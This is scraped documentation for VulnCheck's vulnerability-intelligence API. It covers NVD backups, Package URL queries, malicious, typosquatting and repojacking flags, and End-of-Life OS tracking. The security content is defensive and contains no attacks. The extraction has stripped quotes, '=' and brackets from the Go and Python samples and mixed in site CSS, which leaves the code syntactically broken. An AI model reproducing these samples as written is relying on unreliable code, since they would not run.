Unfortunately, the NIST NVD 2.0 API suffered from the same challenges of frequent API timeout issues and dropped requests. At VulnCheck, with our Community tier, we offer NVD 1.0 and NVD 2.0 with a stable and reliable API, as well as offline backups. NVD 1.0 is also supported, mitigating the damage of NISTs end of life of the NVD 1.0 offline backup and the NVD 1.0 API. If youre a licensed paid subscriber of VulnCheck Exploit & Vulnerability Intelligence, its easy to begin using NVD 1.0, NVD 2.0, NVD 1.0 with VulnCheck extensions, or NVD 2.0 with VulnCheck extensions. At this time, VulnCheck would recommend new customers start with NVD 2.0 with VulnCheck extensions. To download this offline backup, simply call: curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup/vulncheck-nvd2 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupIndexGet(auth, \vulncheck-nvd2\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_index_get(\vulncheck-nvd2\)\n\n    print(api_response.data0.url)\nvulncheck backup download vulncheck-nvd2,{id:966,title:967,titles:968,content:969,level:174},/products/exploit-and-vulnerability-intelligence/nvd-migration#versions-of-nvd-available-to-licensed-subscribers,Versions of NVD Available to Licensed Subscribers,76,VulnCheck Exploit & Vulnerability Intelligence includes four (4) versions of NVD. These include: IndexSourceDescriptionvulncheck-nvd2VulnCheckNVD 2.0 with VulnCheck extensions (more fields and earlier data)vulncheck-nvdVulnCheckNVD 1.0 with VulnCheck extensions (more fields and earlier data)nist-nvd2NISTNVD 2.0 with an SLAnist-nvdNISTNVD 1.0 with an SLA generated from NVD 2.0; unlike NIST, supported indefinitely,{id:971,title:972,titles:973,content:974,level:174},/products/exploit-and-vulnerability-intelligence/nvd-migration#versions-of-nvd-available-to-community-users,Versions of NVD Available to Community Users,76,VulnCheck Community includes two (2) versions of NVD. These include: IndexSourceDescriptionnist-nvd2NISTNVD 2.0 with auto-generated CPEs for much of the NIST backlognist-nvdNISTNVD 1.0 generated from NVD 2.0; unlike NIST, supported indefinitely; also includes auto-generated CPEs for much of the NIST backlog html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:82,title:81,titles:976,content:977,level:528},,VulnCheck Exploit & Vulnerability Intelligence supports a wide range of both Open Source Software library package managers and Operating System package managers. VulnCheck Exploit & Vulnerability Intelligence tracks package dependencies across a wide range of programming language package managers and Operating System package managers. For tracked packages, VulnCheck includes vulnerability, license, research attributes, and fix information when possible.,{id:979,title:980,titles:981,content:982,level:174},/products/exploit-and-vulnerability-intelligence/package-manager-support#supported-programming-language-package-managers,Supported Programming Language Package Managers,81,Below is a list of currently supported Programming Language package managers: Package ManagerIndex NameExample DetectionCargo (Rust)cargohttps://api.vulncheck.com/v3/purl?purlpkg:cargo/fltk@0.13.9CocoaPods (Swift, Objective-C)cocoapodshttps://api.vulncheck.com/v3/purl?purlpkg:cocoapods/OLMKit@3.1.0Composer (PHP)composerhttps://api.vulncheck.com/v3/purl?purlpkg:composer/shopware/platform@6.4.19.0Conan (C/C++)conanhttps://api.vulncheck.com/v3/purl?purlpkg:conan/assimp@5.1.0gem (Ruby)gemhttps://api.vulncheck.com/v3/purl?purlpkg:gem/rack@2.2.6.3Golanggolanghttps://api.vulncheck.com/v3/purl?purlpkg:golang/google.golang.org/grpc@v1.52.0-dev.0.20221122221613-09fc1a349826Hackage (Haskell)hackagehttps://api.vulncheck.com/v3/purl?purlpkg:hackage/aeson@0.3.2.8hex (Erlang, Elixir)hexhttps://api.vulncheck.com/v3/purl?purlpkg:hex/coherence@0.1.2Maven (Java, Scala, Kotlin, Clojure, Groovy, Gosu)mavenhttps://api.vulncheck.com/v3/purl?purlpkg:maven/org.keycloak/keycloak-services@21.0.0npm (JavaScript, TypeScript, CoffeeScript, Scala.js)npmhttps://api.vulncheck.com/v3/purl?purlpkg:npm/sysend@1.3.2NuGet (C#, F#, Visual Basic)nugethttps://api.vulncheck.com/v3/purl?purlpkg:nuget/Masuit.Tools.Core@1.9.5.1opam (OCaml)opamhttps://api.vulncheck.com/v3/purl?purlpkg:opam/jose@0.8.1PyPI (Python)pypihttps://api.vulncheck.com/v3/purl?purlpkg:pypi/aioxmpp@0.6.0Pub (Dart/Flutter)pubhttps://api.vulncheck.com/v3/purl?purlpkg:pub/archive@1.0.8Swiftswifthttps://api.vulncheck.com/v3/purl?purlpkg:swift/github.com/vapor/leaf-kit@1.0.0,{id:984,title:985,titles:986,content:987,level:174},/products/exploit-and-vulnerability-intelligence/package-manager-support#supported-operating-system-package-managers,Supported Operating System Package Managers,81,Below is a list of currently supported Operating System package managers: Package ManagerIndex NameExample DetectionAlma Linuxalmahttps://api.vulncheck.com/v3/purl?purlpkg:rpm/alma/dovecot@2.3.16-2.el8%3Fdistroalmalinux-8Alpine Linuxalpinehttps://api.vulncheck.com/v3/purl?purlpkg:apk/alpine/curl@7.54.0-r0?archx86Amazon Linuxamazonhttps://api.vulncheck.com/v3/purl?purlpkg:rpm/amazon/openswan@2.6.36-2.15%3Farchx86_64%26distroamazon-linux-1Arch Linuxarchhttps://api.vulncheck.com/v3/purl?purlpkg:alpm/arch/linux-zen@5.9.6.zen1-1%3Farchx86_64%26distroarchCBL-Marinercbl-marinerhttps://api.vulncheck.com/v3/purl?purlpkg:rpm/cbl-mariner/busybox@1.31.0-21CentOScentoshttps://api.vulncheck.com/v3/purl?purlpkg:rpm/centos/ipsec-tools@0.2.5-0.7?archi386&distrorhel3.3Chainguardchainguardhttps://api.vulncheck.com/v3/purl?purlpkg:apk/chainguard/zlib@1.2.11-r3?archx86Debiandebianhttps://api.vulncheck.com/v3/purl?purlpkg:deb/debian/e2fsprogs@1.46.2-2?archarm64%26distrodebian-11Fedora Linuxfedorahttps://api.vulncheck.com/v3/purl?purlpkg:rpm/fedora/bsdtar@3.6.0-3.fc37%3Farchx86_64%26distrofedora-37Oracle Linuxoraclehttps://api.vulncheck.com/v3/purl?purlpkg:rpm/oracle/bash@3.2-33.el5.1.0.1%3Farchx86_64%26distrooracle-linux-5Red Hat Enterprise Linux (RHEL)redhathttps://api.vulncheck.com/v3/purl?purlpkg:rpm/redhat/bash-0@4.4.18-14.el8%3Farchx86_64%26distroredhat-enterprise-linux-8.0Rocky Linuxrockyhttps://api.vulncheck.com/v3/purl?purlpkg:rpm/rocky/libidn2@2.1.2.el8%3Farchx86_64%26distrorocky-8SUSE Linux Enterprise Server (SLES)susehttps://api.vulncheck.com/v3/purl?purlpkg:rpm/suse/GraphicsMagick-devel@1.3.25%3Farchx86_64%26distroopensuse-leap-42.3Ubuntu Linuxubuntuhttps://api.vulncheck.com/v3/purl?purlpkg:deb/ubuntu/vim@2:8.1.2269-1ubuntu5.12%3Fdistroubuntu-22.04Wolfiwolfihttps://api.vulncheck.com/v3/purl?purlpkg:apk/wolfi/zlib@1.2.11-r3?archx86,{id:989,title:990,titles:991,content:992,level:174},/products/exploit-and-vulnerability-intelligence/package-manager-support#query-by-package-url,Query by Package URL,81,To query for vulnerabilities by Package URL (purl), simply call /v3/purl?purl:purl as follows: curl --request GET \\\n    --url https://api.vulncheck.com/v3/purl?purlpkg:pypi/aioxmpp@0.6.0 \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.PurlGet(auth).Purl(\pkg:pypi/aioxmpp@0.6.0\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.purl_get(\pkg:pypi/aioxmpp@0.6.0\)\n\n    print(api_response.data)\nvulncheck purl \pkg:pypi/aioxmpp@0.6.0\ The above example requests a list of vulnerabilities in version 0.6.0 of the aioxmpp package from pypi.,{id:994,title:995,titles:996,content:997,level:174},/products/exploit-and-vulnerability-intelligence/package-manager-support#download-offline-backup,Download Offline Backup,81,To request a specific offline backup, simply call /v3/backup/:index as follows: curl --request GET \\\n    --url https://api.vulncheck.com/v3/backup/gem \\\n    --header Accept: application/json \\\n    --header Authorization: Bearer insert_token_here\npackage main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.EndpointsAPI.BackupIndexGet(auth, \gem\).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    endpoints_client  vulncheck_sdk.EndpointsApi(api_client)\n\n    api_response  endpoints_client.backup_index_get(\gem\)\n\n    print(api_response.data0.url)\nvulncheck backup download gem The above example requests an offline backup for the gem index, which is the index tracking Ruby Gems. Note: downloading an offline backup requires a paid subscription license to VulnCheck. html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .swJcz, html code.shiki .swJcz{--shiki-light:#E53935;--shiki-default:#F07178;--shiki-dark:#F07178}html pre.shiki code .sHdIc, html code.shiki .sHdIc{--shiki-light:#90A4AE;--shiki-light-font-style:italic;--shiki-default:#EEFFFF;--shiki-default-font-style:italic;--shiki-dark:#BABED8;--shiki-dark-font-style:italic},{id:87,title:86,titles:999,content:1000,level:528},,VulnCheck Exploit & Vulnerability Intelligence supports detecting a wide range of concerns for both Open Source Software library packages and Operating System packages. The VulnCheck research team is continuously hunting for new and dangerous behavior in the package management ecosystems. VulnCheck Exploit & Vulnerability Intelligence supports the following detection types for querying by Package URLs: VulnerabilitiesLicensesMalicious PackageAbandoned PackageHijackable RepositoryTyposquatting Beyond Vulnerabilities and Licenses, in the following subsections, we will describe what these research attributes mean and what they look like.,{id:1002,title:1003,titles:1004,content:1005,level:174},/products/exploit-and-vulnerability-intelligence/package-url-detections#malicious-package,Malicious Package,86,The malicious attribute is used when a package is known to contain malicious content. When possible, VulnCheck attaches a source reference to indicate why we believe the package is malicious. {\n \_benchmark\: 0.047808,\n \_meta\: {\n   \purl_struct\: {\n     \type\: \npm\,\n     \namespace\: \\,\n     \name\: \aliyundrive\,\n     \version\: \6.0.4\,\n     \qualifiers\: null,\n     \subpath\: \\\n   },\n   \timestamp\: \2023-12-01T20:11:54.921991593Z\,\n   \total_documents\: 2\n },\n \data\: {\n   \cves\: ,\n   \research_attributes\: {\n     \is_malicious\: true,\n     \malicious_source\: \https://blog.phylum.io/dozens-of-npm-packages-caught-attempting-to-deploy-reverse-shell/\\n   }\n }\n} The malicious tag is currently supported by gem, npm, nuget, pypi.,{id:1007,title:1008,titles:1009,content:1010,level:174},/products/exploit-and-vulnerability-intelligence/package-url-detections#abandoned-package,Abandoned Package,86,The abandoned attribute is for when a packages source repository no longer exists. This is highly indicative that the package will no longer receive any updates. {\n \_benchmark\: 0.050773,\n \_meta\: {\n   \purl_struct\: {\n     \type\: \golang\,\n     \namespace\: \github.com/paysuper\,\n     \name\: \paysuper-reporter\,\n     \version\: \v1.4.2\,\n     \qualifiers\: null,\n     \subpath\: \\\n   },\n   \timestamp\: \2023-12-01T20:08:09.215541236Z\,\n   \total_documents\: 1\n },\n \data\: {\n   \cves\: ,\n   \research_attributes\: {\n     \abandoned\: true\n   }\n }\n} The abandoned attribute is currently supported by golang.,{id:1012,title:1013,titles:1014,content:1015,level:174},/products/exploit-and-vulnerability-intelligence/package-url-detections#hijackable-repository,Hijackable Repository,86,The hijackable repository tag is for when a packages source repository is vulnerable to repojacking. This can be a particularly dangerous, because an attacker may be able to introduce malicious code in an update. {\n \_benchmark\: 0.040295,\n \_meta\: {\n   \purl_struct\: {\n     \type\: \golang\,\n     \namespace\: \github.com/zerobounty\,\n     \name\: \tile38-client\,\n     \version\: \v0.10.2\,\n     \qualifiers\: null,\n     \subpath\: \\\n   },\n   \timestamp\: \2023-12-01T20:09:49.124292153Z\,\n   \total_documents\: 1\n },\n \data\: {\n   \cves\: ,\n   \research_attributes\: {\n     \repo_hijackable\: true\n   }\n }\n} The hijackable repository tag is currently supported by golang.,{id:1017,title:1018,titles:1019,content:1020,level:174},/products/exploit-and-vulnerability-intelligence/package-url-detections#typosquatting,Typosquatting,86,The typosquatting tag is for when the research team observes a package that is a slight mis-typed variation of a popular package. These packages are often malicious or will be updated with malicious content at a later date. The typosquatting tag indicates the repository the package is attempting to squat. {\n \_benchmark\: 0.03596,\n \_meta\: {\n   \purl_struct\: {\n     \type\: \gem\,\n     \namespace\: \\,\n     \name\: \activmodel\,\n     \version\: \5.2.1\,\n     \qualifiers\: null,\n     \subpath\: \\\n   },\n   \timestamp\: \2023-12-01T20:36:40.01706222Z\,\n   \total_documents\: 1\n },\n \data\: {\n   \cves\: ,\n   \research_attributes\: {\n     \squatted_package\: \activemodel\\n   }\n }\n} The typosquatting attribute is supported by gem, golang, npm, nuget, and pypi. html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html pre.shiki code .spNyl, html code.shiki .spNyl{--shiki-light:#9C3EDA;--shiki-default:#C792EA;--shiki-dark:#C792EA}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);},{id:92,title:91,titles:1022,content:1023,level:528},,Leverage VulnCheck Exploit & Vulnerability Intelligences End-of-Life software tracking to know if a host can no longer be patched. VulnCheck End-of-Life product information tracks EOL information for Operating Systems commonly found in enterprise environments. Continuing to run End-of-Life product releases in production environments can produce significant risk for an organization. Typically, product security teams at ISVs do not bother testing whether End-of-Life product releases contain the same vulnerabilities as currently supported software. This can result in exploits being written that often succeed on old versions, which are not mentioned by vendor security advisories. VulnCheck Exploit & Vulnerability Intelligence includes tracking of End-of-Life product releases, currently available for major Operating Systems (OS).,{id:1025,title:1026,titles:1027,content:1028,level:174},/products/exploit-and-vulnerability-intelligence/end-of-life#example-eol-raw-data,Example EOL Raw Data,91,VulnCheck makes all End-of-Life product release data available via live API calls as well as via offline backups. In the case of the offline backups, the offline backup ZIP includes one JSON file per supported vendor/product. Below is the debian_linux.json file contained within a recent EOL offline backup. \n  {\n    \source_url\: \https://wiki.debian.org/DebianReleases\,\n    \vendor\: \debian\,\n    \product\: \debian_linux\,\n    \version\: \14\,\n    \codename\: \Forky\,\n    \cpe\: \cpe:2.3:o:debian:debian_linux:14:*:*:*:*:*:*:*\\n  },\n  {\n    \source_url\: \https://wiki.debian.org/DebianReleases\,\n    \vendor\: \debian\,\n    \product\: \debian_linux\,\n    \version\: \13\,\n    \codename\: \Trixie\,\n    \cpe\: \cpe:2.3:o:debian:debian_linux:13:*:*:*:*:*:*:*\\n  }\n  // ...\n The above EOL record shows End-of-Life product release information for all historic releases of Debian Linux.,{id:1030,title:1031,titles:1032,content:1033,level:174},/products/exploit-and-vulnerability-intelligence/end-of-life#list-of-monitored-products,List of Monitored Products,91,VulnCheck Exploit & Vulnerability Intelligence End-of-Life product release information currently supports all major Operating Systems (OS) found in enterprise environments. The monitored Operating Systems currently included are: Alma LinuxAlpine LinuxAmazon LinuxAndroidApple macOSCentOS LinuxDebian LinuxFedora LinuxFreeBSDIBM AIXIBM z/OSMicrosoft WindowsopenSUSE LinuxOracle LinuxRed Hat Enterprise Linux (RHEL)Rocky LinuxScientific LinuxSolarisSUSE Linux Enterprise Server (SLES)Ubuntu LinuxVirtuozzoVMware ESXi VulnCheck Exploit & Vulnerability Intelligence is regularly adding new End-of-Life product release information and periodically updates this list as coverage is added.,{id:1035,title:1036,titles:1037,content:1038,level:174},/products/exploit-and-vulnerability-intelligence/end-of-life#list-of-monitored-products-by-cpe,List of Monitored Products by CPE,91,Below is a list of monitored products by CPE: cpe:2.3:o:alma:linux:8.3:*:*:*:*:*:*:*\ncpe:2.3:o:alma:linux:8.4:*:*:*:*:*:*:*\ncpe:2.3:o:alma:linux:8.5:*:*:*:*:*:*:*\ncpe:2.3:o:alma:linux:8.6:*:*:*:*:*:*:*\ncpe:2.3:o:alma:linux:8.7:*:*:*:*:*:*:*\ncpe:2.3:o:alma:linux:8.8:*:*:*:*:*:*:*\ncpe:2.3:o:alma:linux:9.0:*:*:*:*:*:*:*\ncpe:2.3:o:alma:linux:9.1:*:*:*:*:*:*:*\ncpe:2.3:o:alma:linux:9.2:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:2.1:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:2.2:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:2.3:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:2.4:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:2.5:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:2.6:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:2.7:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.0:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.10:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.11:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.12:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.13:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.14:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.15:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.16:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.17:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.18:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.1:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.2:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.3:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.4:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.5:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.6:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.7:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.8:*:*:*:*:*:*:*\ncpe:2.3:o:alpinelinux:alpine_linux:3.9:*:*:*:*:*:*:*\ncpe:2.3:o:amazon:linux:1:*:*:*:*:*:*:*\ncpe:2.3:o:amazon:linux:2023:*:*:*:*:*:*:*\ncpe:2.3:o:amazon:linux:2:*:*:*:*:*:*:*\ncpe:2.3:o:apple:mac_os_x:10.0:*:*:*:*:*:*:*\ncpe:2.3:o:apple:mac_os_x:10.10:*:*:*:*:*:*:*\ncpe:2.3:o:apple:mac_os_x:10.11:*:*:*:*:*:*:*\ncpe:2.3:o:apple:mac_os_x:10.1:*:*:*:*:*:*:*\ncpe:2.3:o:apple:mac_os_x:10.2:*:*:*:*:*:*:*\ncpe:2.3:o:apple:mac_os_x:10.3:*:*:*:*:*:*:*\ncpe:2.3:o:apple:mac_os_x:10.4:*:*:*:*:*:*:*\ncpe:2.3:o:apple:mac_os_x:10.5:*:*:*:*:*:*:*\ncpe:2.3:o:apple:mac_os_x:10.6:*:*:*:*:*:*:*\ncpe:2.3:o:apple:mac_os_x:10.7:*:*:*:*:*:*:*\ncpe:2.3:o:apple:mac_os_x:10.8:*:*:*:*:*:*:*\ncpe:2.3:o:apple:mac_os_x:10.9:*:*:*:*:*:*:*\ncpe:2.3:o:apple:macos:10.12:*:*:*:*:*:*:*\ncpe:2.3:o:apple:macos:10.13:*:*:*:*:*:*:*\ncpe:2.3:o:apple:macos:10.14:*:*:*:*:*:*:*\ncpe:2.3:o:apple:macos:10.15:*:*:*:*:*:*:*\ncpe:2.3:o:apple:macos:11:*:*:*:*:*:*:*\ncpe:2.3:o:apple:macos:12:*:*:*:*:*:*:*\ncpe:2.3:o:apple:macos:13:*:*:*:*:*:*:*\ncpe:2.3:o:apple:macos:14:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:10.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:10.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:11.04:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:11.10:*:*:*:*:*:*:*\ncpe:2.3:o:canonical:ubuntu_linux:12.04:*:*:*:*:*:*